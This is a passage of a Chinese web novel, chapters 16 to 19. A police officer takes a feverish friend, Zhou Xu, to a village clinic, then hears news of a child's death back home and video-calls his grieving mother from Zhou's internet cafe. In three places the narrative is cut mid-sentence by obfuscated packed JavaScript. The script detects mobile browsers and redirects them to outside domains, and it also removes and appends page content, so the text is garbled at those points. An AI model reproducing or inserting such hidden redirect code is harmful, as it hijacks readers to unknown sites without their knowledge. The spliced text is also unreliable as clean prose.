周旭立马摇头:“不用。” 他坚持道:“就是冻着了,再吃点退烧的就行。” 方秉雪“嘶”了一声:“你这……” 但他也不太会关心人,更不会跟秦老师似的晓之以情,体贴入微,于是斟酌了下,补充出来后半句:“阿亮很怕你死了。” 周旭这才笑了,笑了几声咳嗽起来,肩膀都在抖。 正当方秉雪以为对方要吵阿亮几句,或者继续倔的时候,却听见周旭轻轻开口。 “你坐的那椅子,是我做的。” 方秉雪:“啊?” 他立刻低头看了眼,分辨不出是什么木质材料,反正触手光滑,一点毛刺都没有,靠背带着微微的弧度,椅腿的高度正好合适,如果不说的话,肯定会以为是在家居店买的,挺漂亮。 周旭继续:“河我非下不可,钱我也必须要。” 方秉雪抬头,又“啊”了一下,感觉周旭的话题跳得有点快。 “她那犄角旮旯的亲戚都跳出来了,狼似的蹲着,”周旭说话快了点,就有些微微喘息,“不当着警察的面,逼着给存折什么拿出来,塞我兜里,就会被别人盯着。” 方秉雪的喉结动了下,没接话。 周旭胸口起伏着:“那老头死之前给她打电话了,以死相逼的人都这样,除了去公安局闹条子,能不逼自个儿闺女?” 厨房里传来抽油烟机的声音,嗡嗡作响。 “恨我总比恨她自己强,人就这样,总得找个口子哭出来才行,找点别人来恨,不然活不下去。” “之前县里有个当爹的,偷懒,没去接孩子放学,孩子回家路上出意外没了,结果呢,他爹去学校揍老师,发疯说因为拖堂了三分钟,都怨老师。” 周旭看着方秉雪,舔了下嘴唇:“你能明白我意思不?” 方秉雪说:“明白。” 那天调解室里,他亲眼见着陈秀的亲属——自称是对方二叔的男人,鬼鬼祟祟地翻检那件女士外套,兜里只有零散毛票,领口的水洗标被搓得很薄,袖子边缘是明显的污渍,对方泄气似的给衣服扔回去,嘟囔说八百年不联系了,怎么还能穷成这样。 沾亲带故,帮她办丧事是真的,嫌弃她家晦气是真的,想趁机看能不能弄点油水也是真的。 比如葬礼上的烟酒是什么档次,席面怎么布置,守夜费又如何安排。 结果耗了那么久,在调解室里亲眼看到陈秀被八千块钱逼成那样,都互相看了看,咬耳朵说算了,赶紧给事办完拉倒。 这些人情世故,方秉雪知道。 他有点不知道该说什么,周旭这一番话有点掏心窝子了,不能再开玩笑地应付过去,他顿了顿,开口:“旭哥……” “所以我是有原因的啊,”周旭突然提高音量,“你说那臭老头干嘛呢,非得让老子再去给他烧点纸钱?” 本来就打算吊唁的时候,给钱再递回去,他病着了,但也没耽误托旁人捎过去,已经办完了啊。 当然,周旭自己留了六百,一码归一码,这种事必须得拿红包,破晦气。 他特委屈地看着方秉雪,不说话了。 方秉雪清了清嗓子:“是,你说的对。” 周旭的拇指搓着饮料瓶,给最外层的包装纸都快捋下来了:“所以,我刚不是疯了,也不是傻了,就是我们这儿的习惯……要是生病,可能是碰着脏东西,吓唬吓唬。” 方秉雪忙点头:“我知道了。” 他发现周旭这人手有点欠,给瓶子捏来捏去的,倒是没发出什么嘈杂声音,不惹人心烦,这会儿天色几乎暗下来了,院子里没开灯,光线显得昏沉沉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276934|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像渴睡人的眼。 俩人说这么久,没什么多余动作,除了那瓶饮料,估计都要被周旭捂热乎了。 “行了,”方秉雪叫他,“等吃完饭出去看看,不行就输水,好得快。” 周旭刚才说了一堆的话,这会安静下来,垂着睫毛:“怎么,你陪着?” 方秉雪不假思索:“你想让我陪?” 周旭说:“那倒没。” 他还低着头:“阿亮在就行,你跑过来干什么……我刚说的那话,别往外传。” 方秉雪作势就站起来:“呦,这是赶人呢。” 他俩按理说见面次数不多,但每次都挺“惊天动地”的,并且人与人的气场是种很玄乎的东西,有时候认识很多年,还客客气气,但有些人吧,两句话一说,立马就熟了。 方秉雪跟周旭不算特别了解,但他俩说话的时候,挺自在。 周旭这才抬头看他,给饮料瓶放地上了:“没,没这意思。” 饭香味已经传来了,阿亮跑出来比了个手势,表情挺开心的,方秉雪跟着转身,说要去帮忙。 “不用,”周旭喊着他,“阿亮做饭的时候,不喜欢旁边有人。” 方秉雪讶异地回头,睁大眼睛:“是吗?” 他不太会做饭,对一切有厨艺的人抱着极大敬仰,所以很能理解,有些人就是习惯了自己搞定,有帮手反而不自在。 周旭说:“嗯……不过我做饭无所谓,没他那么多讲究。” 方秉雪眼睛瞪得更大:“你还会做饭呢。” 周旭说:“会啊,刚不说了,这凳子柜子都是我打的,刚见面那会,你的车不也是我修的?” 他还坐着,说话就得仰着脸看方秉雪,语气很自然,没什么炫耀显摆的意思,周旭这人浓眉单眼皮,个子又大,低头显得凶,那么这样抬头的时候,就感觉眼睛大了些,挺真诚。 方秉雪回想着:“说起来,那会你还差点黑我二十块钱。” 周旭病了,反应有点慢,思考了下才开口:“不对,你最早可是要给我一百的,问我一百行不行,我可没贪你的钱。” 方秉雪顿了下,怎么感觉有点道理,于是他果断忽略这个话题,把目光落在院子的陈设上。 除了这些精巧的日常用品外,院子里辟了块花坛,里面种着葡萄和月季,这会儿正开着花,挤挤攘攘地堆在枝头,粉嫩好看。 “这些花,都是你种的?” “嗯。” 方秉雪笑了:“那你挺厉害的。” 周旭说:“还行。” 17.第 17 章 这顿饭吃得诡异。 方秉雪总感觉周旭有话要问他,但又难以启齿的样子,所以偶尔说两句,就扯些有的没的,似乎下一秒就要说今天天气真好,对了我问你个事。 可都快吃完了,也没见周旭真的问出口。 餐桌是四方的,他和周旭面对面坐着,阿亮坐在他俩中间,应该是顾忌着周旭的病,炒的都是些没放辣椒的家常菜,还煎了鸡蛋薄饼煮了粥,入口清淡,容易消化。 他俩吃饭的时候话不多,但是阿亮要“说”,举着筷子一通比划,周旭在旁边翻译:“没啥,他说下午看见麻雀打架了。” 方秉雪就笑。 笑了会感觉有点怪。 因为这种场景,太像他小学放学回家,吃饭的时候坐在爸爸妈妈中间,忙不迭地讲今天发生了什么,方大夫嗯嗯啊啊地应付着,秦老师则在旁边笑,说别讲了快吃吧。 他被这可怕的想法吓一跳,连忙摇摇头,觉得自己是离家太久,莫名地联想到一块,于是决定晚上就给家里打电话,骚扰一下那两口子。 周旭胃口不太好,没吃多少,给筷子放着了。 方秉雪把嘴里的东西咽下:“你吃好了吗,这会走?” 要是去诊所输液,肯定得提前在家里吃点,垫垫肚子,方秉雪挺喜欢鸡蛋饼的,没加多余调料,就一丢丢切细的小葱花,摊得很薄,筷子挑起来看都透光。 周旭掏出烟盒出来,放桌上:“我问你个事。” 方秉雪一震,要来了! 周旭用拇指给烟盒顶开,掏了支烟捏手里,看了方秉雪一眼:“你那个谁……咋样了啊?” 他态度挺随意的,不是八卦的眼神,也没有追根究底的窥探,似乎就是吃完饭跟朋友聊天,随意地提一句,正是因为太“自然”了,反而让方秉雪愣了下。 方秉雪茫然地眨了眨眼睛,心想,哪个谁? 周旭给烟放回去:“没事,我也就随口一问。” 方秉雪这才反应过来,对方指的应该是刚见面的误会:“哦,你说他啊?” 周旭“嗯”了一声。 连着下了几天的雨,这两日空气特别干净,清新,有一种在西北罕见的潮湿气息,湿漉漉的,还有点儿燥热。 方秉雪犹豫了,纠结该怎么开口,而对面的周旭似乎有些无聊,正在玩打火机,指腹按在砂轮上刮着,不知道在瞎忙乎个什么。 这人还真闲不住,因为头顶的灯也是周旭做的,一串啤酒瓶被铁丝固定好,灯泡挤在淡绿瓶身里,折射出美丽的光。 方秉雪咳嗽了一声。 多年的生活经验让他悟出个道理,那就是人一旦撒谎,便要用无数的谎言来圆,方秉雪目前还不想提这事,因为一旦说了,就得全部解释清楚,他潦草地敷衍过去:“你这灯挺好看的。” 周旭给打火机放下了:“喜欢吗?” 方秉雪说:“喜欢。” “简单,”周旭没抬眼,“就是割酒瓶子的时候得找个磨刀石,打磨下边缘,不然容易划着手……让他给你做个呗。” 方秉雪被噎了下,与此同时,阿亮给筷子放好,做出个吃饱了的快乐表情,但是左右看了两眼,又给筷子捡起来,继续埋头吃。 切忌交浅言深,方秉雪在心里默念了三遍,然后深呼一口气:“你还看不看病了?” “看,”周旭站起来了,“正好,我也出去买点东西。” 方秉雪问:“纸钱?” 周旭抬手穿外套:“纸钱个屁,老子费那么大劲给人捞出来,还得去坟头烧纸?给他脸了!” 终于愿意去看病,方秉雪的任务也就完成了,他估计着阿亮有点怕周旭,又因为听障交流不方便,干脆拉了个外人过来,省得这人乱发脾气。 目前来看,冲着骂人的精神劲儿,问题不算大。 阿亮没跟着,外面有点冷了,方秉雪陪着周旭走了一段路。 路上,俩人简单地聊了两句。 周旭问他为什么要来西北,准备待多久。 方秉雪多有心机,人家都病着,他依然不肯好好地交心,仍是含糊一句:“再说吧。” 周旭听出来意思了,轻轻地嗤笑一声。 走到诊所门口,方秉雪往里面看了眼:“行了,那我回去……” 话没说完,屋里传来一声刺耳的嚎叫。 下一秒,方秉雪就感觉肩膀被人扳住,往后一拉,他没反抗,整个人顺从地后退了半步,电光火石间,一个胖乎乎的小男孩连滚带爬地窜出来,差点撞到他身上。 边跑边哭,说我不要打针,不要抓我打针! 然后,他俩就眼睁睁地看着三个大人冲出来,七手八脚地给那小孩拉回去,进行武力镇压和言语威胁,男孩应该是六七岁的样子,死命挣扎着两条小短腿,哭声震天。 方秉雪眼睛一亮:“旭哥,上!” 周旭给手从人家肩膀上拿开,挑起眉梢:“嗯?” “你去吓唬吓唬,”方秉雪看热闹不嫌事大,“往那一站,看能不能止小儿夜啼。” 周旭无语:“你怎么不给我描下来,贴门上辟邪呢。” 方秉雪大笑起来。 这人笑点有点清奇,虽说平日里总是扬着嘴角,又生了双漂亮的眼,给人一种笑语盈盈的亲和感,但这样肆意的情况不多,诊所门口的招牌泛着白亮的光,青年站在台阶下,穿的卫衣稍微有点松垮,夜风惊扰,让柔软的面料贴住小腹,露出清晰的腰部线条。 周旭给脸偏过去了,没再看。 “走,”方秉雪笑得捂住肚子,“我陪你去打针,我要看看大夫怎么收拾小孩的。” 要不说这刑警心眼坏,他妈妈在幼儿园工作,寒暑假针对双职工家庭有托班,秦老师也不放假,把方秉雪带去办公室写作业。 所以方秉雪从小到大,耳朵里都经常充斥着小孩的哭闹声。 他也不是说烦小孩,就是偶尔会有些幸灾乐祸,这种心态在幼儿园集中体检时展现得淋漓尽致,面对指尖采血,小孩哭声连连,方秉雪在旁边看得心情舒畅。 秦老师最疼小孩,这个时候就骂儿子,说你变态啊。 于是,变态的方秉雪跟着周旭,走进了诊所。 周旭对他无奈了,不知道这人怎么被点着笑穴,半天嘴角都没下来过。 这家诊所面积小,一看就知道是夫妻俩一起操持的,丈夫看病,妻子抓药,这会儿连着家长一起控制住小男孩,还要见缝插针招呼周旭:“不好意思啊,你稍等下……” 周旭摆摆手:“没事。” 屋里两侧摆的是长凳和输液架,这会已经是晚上八点多种了,除了他们俩外没有别的病患,方秉雪找了个凳子坐着,不眨眼睛地看对面的小男孩扎针。 大夫很有耐心,还在哄:“你要是再动,等会叔叔扎歪了怎么办?” 小男孩闭着眼嚎:“呜啊啊!” 他妈妈则彪悍很多,一巴掌甩过去:“再不听话告诉你老师!” 小男孩的嗓子更嘹亮了:“救命啊杀人了!” 两分钟后,男孩终于成功地输上了液,也安静下来—— 方秉雪给电视打开了。 动画片的背景音中,方秉雪举着遥控器:“在花盆里看到的。” 大夫明显地松了一口气,坐回接诊台后面:“不好意思啊,刚才找半天没找到,你怎么了?” “不是我,”方秉雪指着周旭,“他发烧了。” 大夫说:“哦、哦,发烧了,那他现在体温多少?” 方秉雪张了张嘴:“应该……我也不清楚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287792|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大夫可能是真的被吵糊涂了,大脑跟着宕机,直接忽略了病患去问家属,这才转脸看向周旭:“你量过体温了吗?” 周旭把体温计递过去:“刚才我自己量了下,你看。” “嗬,都快39度了,”大夫端详着,“还有别的不舒服吗?” 沟通病情的时候,方秉雪就托着腮发呆,他在砾川县没什么娱乐活动,下班后会在局里跑跑步,做完运动回宿舍,洗个澡就睡了。 作息那叫一个健康。 所以这会,也琢磨着等周旭输上液,他就回去收拾收拾睡觉。 片刻后,方秉雪给手放下去了。 “打针当然可以啊,臀部注射,挺快的。” 周旭“嘶”了一声:“不能打胳膊吗?” 医生认真解释:“臀大肌那里比较安全,不良反应也少,你不是说输液耽误时间吗,可以先打针观察下。” 病患还没说话呢,方秉雪唰地一下蹿过来了,满脸真诚:“没事,咱听大夫的。” 周旭怒道:“谁跟你咱们!” “你是不是怕打针啊,”方秉雪凑得很近,“没事,我不往外说,如果需要的话帮你捂着眼,怎么样?” 他手撑在桌子上,俯着身跟人说话,这个距离,周旭能明显地闻到对方身上的淡淡香味,他病着,嘴里发苦没味道,这下更觉得有些口干舌燥。 “那你走,我自己就行。” “别,阿亮拜托我陪着你呢。” “方秉雪!” 周旭一拍桌子:“你就是故意的!” “故意什么,”方秉雪眨了眨眼睛,“怎么,你觉得我是故意想看你打针,天呐。” 周旭做了个深呼吸。 大夫迷茫地看着他们:“输液也行,就是得两个小时,你们决定……” “打针。” 周旭突然开口,刚才怒气冲冲的尴尬没了,这会儿定定地看向方秉雪:“来,你不是要给我捂眼睛吗?” 方秉雪张了张嘴:“……啊?” 他这人的确有点欠,尤其是嘴上,还挺喜欢占人家便宜,但如果真让他看着周旭扎屁股针,就有点别扭。 方秉雪转念一想,要是换王川或者马睿,他肯定也不舒服,没有哪个男人有兴趣看这样的画面,所以方秉雪给自己鼓劲,没事,以后还能拿这个来笑话周旭,有什么好怕的。 他心一横:“来!” 电视里在放《猫和老鼠》,正放到杰瑞躲在洞穴里,随着脚步的接近,心脏都要跳出胸腔,而淡淡的酒精味中,“咔哒”一声,周旭单手解开皮带卡扣。 臀部注射不用完全褪下裤子,从后腰往下扯一点就行,方秉雪站在周旭前面,大夫已经拿来了碘伏,对他们笑了下。 “晕针吗,那是得捂下眼睛。” 帘子后面,方秉雪的手指搭在木桌上,没动。 周旭的胳膊肘也搭着桌子,身体稍微往下趴了点,仰着脸看方秉雪,有些无赖:“怎么不给我捂着了?” 他这会一点尴尬也没了,特坦然,外套被丢到旁边,上身穿着件黑色短袖,其实是很普通的版型和面料,在男人身上撑出漂亮的肌肉线条,硬邦邦的——周旭很容易给人这种感觉,无论是眼神还是脾性,哪怕最开始,莫名其妙地被方秉雪气到几次,也能立刻翻身,气势强硬地压过去。 因为他敢直勾勾地盯着人家看。 而方秉雪的眼神,已经有点飘忽了。 周旭神色懒懒的:“来啊,不是说要捂着吗?” 方秉雪顿了下:“你烦不烦。” 大夫提醒了一句话,应该是说要扎针了,但方秉雪没听清,也什么都没看见,这并不是因为他临阵逃脱,心虚地移开目光。 而是周旭突然伸手,捂住了他的双眼。 18.第 18 章 外面传来巨响,是载着重物的货车在夜奔,明亮的车灯打进来,照在周旭骨节分明的手背上,从左到右,又快速消失。 轰鸣声远去。 周旭的手拿开了。 方秉雪的睫毛抖了下,睁开一看,大夫已经开始收拾东西了,周旭还是那副懒散不着调的模样,系好腰带,眯着眼看他,笑他:“还挺疼的,要是你打,估计得哭鼻子。” “我看哭的是你,”方秉雪说,“不然干嘛不让看,是不是偷偷抹眼泪了?” 周旭闻言就凑过来:“来,那你给我擦擦。” 这人没个正行,顺杆子爬地往前,方秉雪就得往后躲,腰都硌在桌子上了,也笑了:“大夫妙手仁心,你病好得还挺快。” 周旭摇头:“没好,还难受着呢。” 为了保证病患隐私,打屁股针的地方在诊所最里面,挨着配药房,用个布帘简单地挡了下,那帘子淡绿底印黄花,特春意盎然的模样,他俩也没走,咕咕唧唧地说了几句话,就听见前头小孩嗷一嗓子,又开始哭了。 出来一看,动画片在晚上九点钟结束了,无论调哪个台,无一例外都变成了大人的世界。 小男孩不喜欢看新闻,看不懂译制片电影,对描眉画眼的偶像剧也毫无兴趣,这会儿举着遥控器蹬腿,吵着让妈妈给点播台打电话,他还要看。 “那是付费的,”他妈妈接过遥控器,急匆匆地按着,“你看,这个台放孙悟空,你看……” “我不看猴子!我要看猫和老鼠!” 他妈妈横眉一竖:“你看我像不像猫和老鼠!” 小男孩不嚎了,仔细端详了眼:“不像!” 大夫已经配好药出来了,递给周旭:“药该怎么吃上面写着了,你回去后注意体温,如果还烧的话明天再来。 ” 周旭付完钱,接过,余光扫了眼那闹腾的小男孩。 “对了,你不是说妈妈是幼儿园老师,”他问方秉雪,“这种时候该怎么办?” 那大夫一看就温和,被小孩吵得头昏脑涨,最多也就拿叔叔打针来吓唬,这会整个人都是摇摇欲坠的模样。 方秉雪想了想:“秦老师一般会说……小嘴巴不说话,小眼睛看老师,小耳朵仔细听。” 周旭的手指勾着装药的袋子,没接话,但是使了个眼色。 意思很明白,你试试呗。 方秉雪才不试。 他已经扭头往外走了,几步跃下台阶,周旭在后面跟着,叫他的名字。 “方秉雪你够狠心的啊,就这样跑了。” “小孩精力真旺盛,我看一会还得挨揍。” 方秉雪不搭理周旭的絮絮叨叨,他的原则就是,生活中除非旁人主动求助,否则一般不进行干涉,比如朋友放弃前途扎根戈壁,卖豆腐的老奶奶要把骨灰撒红柳林里,他都点点头,说行啊。 他没那么爱“多管闲事”。 旁边的围墙上刷着标语,白底红字,方秉雪步伐很快,把上面的字一个个地挡过去,周旭的眼睛也一个个地顺着去看,保护生态,共建美丽家乡—— 方秉雪停下了,转身看他。 路灯给影子拉得很长,正好投在“美丽”这两个字上,青年微微眯着眼睛,乌发被风吹起,露出漂亮眉眼。 他可能嫌烦了,对着周旭:“小嘴巴,不说话。” 周旭的烧还没退,感觉脸颊被刮得发烫,竟有些说胡话:“怎么,那你是不是该小眼睛看老师?” 方秉雪笑起来:“不,我是大眼睛。” 他说着,就眨了两下。 方秉雪长得像妈妈,皮肤白,眉眼好看,琥珀色的瞳仁看谁都温柔,生在秦老师身上有种脉脉含情感,至于方秉雪,则是种清凌凌的沉静。 就好像,他心里跟明镜似的,什么都一清二楚。 这是张聪明人的脸,但偏偏又很矛盾,周旭不明白,怎么看着挺机灵的,遇到感情问题就要死要活呢。 可他没法儿问,因为方秉雪不告诉他。 都藏在心里,蔫坏。 方秉雪肚子里坏水再多,表现出来也依然客气,亲自给周旭送回家,门一开,阿亮捧着个脸坐屋檐下,见到他们的时候眼睛一亮,小狗似的奔过来,左看右看。 “打过退烧针,”周旭语速慢下来,“没事了。” 阿亮点点头,又去看方秉雪。 方秉雪没啥交代的,周旭这么大的人了,不用他再操什么心,只提了句:“你别拿着菜刀乱挥了,当心邻居报警给你抓走。” 周旭给药放桌子上:“我在自己家呢!” 阿亮犯困得早,这会儿安心回去睡觉了,方秉雪也跟着往外走,到门口了拐回来:“那也危险,万一不小心脱手了,砸脚上就得去缝针。” 周旭不可置信的模样:“我还能给刀脱手了?” 方秉雪顿了下。 其实这会儿,他突然有种很强烈的分享欲——想要跟周旭讲讲自己以前跟嫌疑人搏斗的时候,怎么徒手夺刀,而旁边的犯罪同伙吓得一哆嗦,手里的水果刀真的直直落下,扎进脚背。 后来做笔录的时候,同事都在憋着笑。 人啊,有时候就是这样,可能刚到一个新地方就开始思乡,也可能待上很久也不觉得,只是在偶然的情况下,想起以前一件小事,吃到熟悉的家乡味,或者提起了妈妈,就不受控地涌上情绪。 方秉雪有点想家了。 这个难受劲儿一出来就下不去了,但天色太晚,他不能再给父母打电话,说想哭有点矫情,就是那种,心里沉沉闷闷的,像是灌进一大瓶黏糊糊的胶水。 方秉雪这会,就特别想吃一碗秦老师做的番茄鸡蛋面。 周旭走到他面前:“怎么了?” 方秉雪笑笑:“没事。” 院子里的月季开得正好,都是粉色的花苞,有种淳朴而健康的美,方秉雪舔了下嘴唇,问:“有烟吗?” 周旭说:“有……你要抽?” 方秉雪点头:“嗯。” 周旭愣了下,顿了几秒才说:“你不是不会抽烟吗?” 方秉雪说:“我想家了。” 片刻后,他俩在花坛旁边坐着,一缕烟雾顺着瓷白侧脸升起,袅袅地散在空中。 方秉雪咬着烟,看头顶的月亮。 周旭没抽,事实上,他这会儿的姿态比方秉雪乖巧多了,虽然由于身高关系,得岔着腿坐在矮椅上,但双手好好地放在膝盖处,沉默地抿着嘴。 方秉雪也安静着。 周旭一眼就能看出来,这人应该没啥瘾,即使抽烟的姿势很娴熟,也就是为了提神或者打发时间,没过肺,浅浅地呼出白烟。 交心的话不能说,但随口的家常还是可以唠的,方秉雪靠在椅背上,仰着脸,两条长腿大喇喇地伸着,有点痞,有点懒。 从周旭的角度看过去,能清晰地看见那颗喉结,随着呼吸和吞咽而小小地动着,再往下是领口了,方秉雪穿得随意,还是件薄绒的卫衣,浅灰色调,脖子那还有两道束绳,一长一短地耷拉下来。 月光宽容地洒在大地上,无论是千里之外的家乡,还是壮阔苍凉的西北,都沐浴在这朦胧而神圣的光辉下,亘古不变,永远存在。 周旭看了会儿:“想家了就回去呗。” “不行,”方秉雪含糊道,“还得在这儿一年。” 周旭重复了遍:“一年啊。” 他俩没聊特别深的东西,有一搭没一搭的,竟也没冷场,方秉雪这才知道,周旭做的活计都很杂,修车行,台球厅,甚至网吧他都开的有。 “反正家里就我一个,”周旭说,“闲的没事,瞎琢磨呗。” 好吧,这话题也有点深了。 烟已经快燃尽了,一个橘色的火点明明灭灭的,方秉雪狠吸了一口,给烟头碾进陶瓷烟灰缸里——甚至连这玩意都是周旭自己做的,手捏的雪山形状,烧出一种粗粝的朴实质感。 “挺艺术的,”方秉雪给烟灰缸拿起来,看了眼,“你不说我肯定以为是买来的。” 周旭搓着手:“以前烧花盆的时候,弄了几个玩……你冷不冷?” 四月了,晚上的气温还是低。 方秉雪说:“不冷,你还挺细心的。” 周旭立刻接上:“没。” 说完,停顿了好一会,俩人都笑了。 笑完了,方秉雪又要了支烟,点燃后咬嘴里:“这能做狗饭盆吗,我想等明年给我妈养条狗,给她解闷。” 周旭想了想:“也行,上完釉再烧,出来好看。” 方秉雪忽然想起来:“对了,之前我在超市见到你逗一条狗,长得很丑,哎呀简直记忆深刻。” 周旭点头:“是有点丑。” “下次见到了让我也逗逗,”方秉雪弯着眼睛,“丑得挺可爱的。” 周旭也笑了,笑得胸口轻轻起伏:“有机会吧。” 正说着呢,方秉雪的手机响了,他拿起来一看,是方大夫打来的。 那两口子生活作息特别规律,除非夜班,否则都早早睡下,不会随便给儿子打电话,方秉雪心里紧了紧,按住接听键 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15292996|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……喂?” “小宝,”方俊的声音有点哑,“刚才急诊送来个小孩,车祸,没救过来。” 方秉雪站起来了:“您说,我听着呢。” 他父亲是脑外科的医生,生老病死见得不少,一般不会出现特别强烈的情绪波动,果然下一秒,方俊叹了口气:“是你妈妈的学生。” 秦素梅最喜欢小孩,从教这些年来,带过了无数的孩童,她不是初高中课堂上的学科老师,讲述习题和知识,她扎根在幼儿园,从年轻的父母手里接过懵懂稚子,教他们排队,唱歌,讲卫生懂礼貌。 秦老师的学生,往往很快就会忘记她。 年龄太小了,有些连话都说不清,可秦素梅知道,他们可能不记得幼儿园老师们的笑脸,但应该会记得,自己第一次拿大红花时的快乐,和第一次与同学春游时的鸟语花香。 “那个出车祸的小孩,都上初中了,就住咱隔壁小区,每年教师节都要过来看她……你记得吗,你妈妈还带他来家吃过饭,说他长得像小时候的你。” 方秉雪沉默不语。 “还是在小区外面出的事,你妈妈看见现场了。” 方俊疲惫地揉着眉心,有些哽咽。 重度颅脑损伤,哪怕一个团队的专家都赶回来,也回天乏力,他还得值班,秦素梅站在医院走廊上,捂着胸口,脸色苍白,反复地说我没事。 “你现在方不方便,给你妈妈打个视频什么的,”方俊放下手,“看看她现在怎么样,我有点不放心。” 方秉雪说:“行,我知道了。” 挂了电话,他转头看向周旭,西北的夜太安静了,父亲的声音隔着话筒,足够让千里之外的两个人都听到,周旭问:“你那有电脑吗?” 方秉雪说:“没,啊……有。” 宿舍里没有配备电脑,但是单位有,他看了眼手机上的时间,这会儿十点半了,办公室里肯定还有人,就是当着同事的面…… “走吧,”周旭站起来了,“我带你去网吧,有包间。” 方秉雪“啊”了一声。 周旭已经进屋了,拿了两件外套出来:“走路就七八分钟,不远。” 方秉雪有点不好意思:“这,你还病着呢。” 砾川县里娱乐活动不多,他平日里没什么爱好,还真不知道能去哪儿找一家彻夜开着的网吧,周旭朝他走来:“没事,反正我也得去店里看看。” 方秉雪说:“真不用,你给我说下怎么走,我自己过去就行。” 周旭站在他面前,给衣服递过去,方秉雪两手抱着了,还有点犹豫:“我……” “看你矫情的,”周旭嗤笑道,“之前吐我身上的时候,不是挺厉害的吗。” 他伸手,把剩下的半支烟从方秉雪嘴里拿出来,随手丢烟灰缸里:“走吧。” 方秉雪跟上:“谢谢了啊,旭哥。” 栓好门,周旭回头看了眼,他那件黑色牛仔外套在方秉雪身上有点大,肩线塌下来些许,显得很松垮。 甚至方秉雪一伸手,袖子那挡得就露出点指尖。 今晚真够忙活的,方秉雪被周旭带到一处网吧,心里都还有点闷得慌,上楼的时候踩得也重,周旭回头看了眼:“楼梯窄,你小心点。” 方秉雪说:“哎,知道了。” 这里一楼是游戏厅,二楼和三楼才是网吧,都是大晚上了,生意依然很好的样子,就是离不开县城网吧的通病,吵,烟味重,还混杂着乱七八糟的泡面味。 一路上和两个服务员打了照面,对方都是立刻站住,笑着打招呼,周旭没多说什么,带着方秉雪进到三楼,穿过无数闪烁的电脑屏幕——方秉雪一直回头,眼睛瞪得很大,倒是没发现有未成年人,只是规模的大小实在令他咋舌。 看来砾川县的夜,也不尽然是安静的。 走在最后一排的房间处,周旭拉开玻璃推拉门:“你来这里,机器已经开好了。” 里头面积不大,并排放了两台电脑,配备的是红色皮沙发,墙壁贴着好莱坞的电影海报,方秉雪走进看了眼,卫生还挺干净的,没异味,也没什么果皮纸屑的痕迹。 “有插销,”周旭给他示意,“你在里面插上,有事给我电话。” 方秉雪已经坐下了,握住鼠标:“谢谢啊,你也赶紧回去休息。” 周旭说:“别的没啥了,走的时候跟前台打个招呼就行。” 方秉雪回头:“行,那我说……我是你带来的?” “嗯,”周旭站在门口,看着他,“你就说,你是我带来的。” 19.第 19 章 等方秉雪调整完外接摄像头,又下载好通话软件后,已经是十一点多了。 “秦老师?” 他凑近屏幕,仔细看里面出现的模糊身影:“能听见吗?” 信号延迟,过了好几秒,那边才传来秦素梅的声音:“能,我看见你了。” 方秉雪单手托着腮,另只手搭在电脑屏幕边缘,歪着脑袋笑,笑得一点也不像个二十六岁的成年人,而是个拿脑袋往妈妈怀里拱的小熊孩子。 他说:“妈妈,我也想你了。” 秦素梅的眼泪一下子就出来了。 隔着网线和显示屏,她哭得肩膀都在抖,和方俊结婚近三十年,除了偶尔除夕夜方大夫在医院值班,她去送团圆饭外,秦素梅从不踏进丈夫的工作地点一步,她心软,和孩子们待久了,见不得那些生离死别。 最早在秦素梅心中,她想让方秉雪走学术,当个研究员或者大学老师多好,结果儿子报了警校,没办法,秦素梅知道方秉雪看着乖,心里很有主意,从此,她每月初一十五都开始吃斋。 可菩萨没有保佑到每一个小孩。 天人永隔的事没法儿劝解,什么话都显得无力而苍白,秦素梅哽咽着讲那个孩子,讲他的名字和上学时的趣事,方秉雪安静地听,偶尔问那么一两句。 有人说遗忘,才是真正的死亡。 那么秦老师就努力地去记住。 但还是止不住地流泪,还是悲伤。 “等五一的时候放假,”方秉雪轻声道,“我回家一趟,给你们带牛肉干和甜胚子。” 秦素梅鼻音很重:“不用,你来回跑多折腾……明天是不是还得上班,你这会在哪儿呢?” 方秉雪站起来,展示了下身后的环境:“网吧,放心啊离我住的地方近,走路就回去了。” 凌晨了,秦素梅赶儿子去睡觉,催促了几句后,又叫着他:“……小宝。” 方秉雪答应了声:“哎,妈妈。” “你别嫌我烦,有机会的话还是早点成家,身边起码有个知冷知热的人,”秦素梅抽了下鼻子,“但要是真没碰到合适的,妈也不勉强你了,好好的就行。” 这话说得方秉雪心里很酸,挂了视频后,还发了好一会儿的呆。 就很想抽支烟。 刚才周旭给他的烟不知道是什么牌子的,味儿有点辛辣,但很适配现在的心境,别说烟了,方秉雪甚至都有点想喝酒,就那个红川特曲,来上一瓶,什么烦闷和眼泪都能被呛出来。 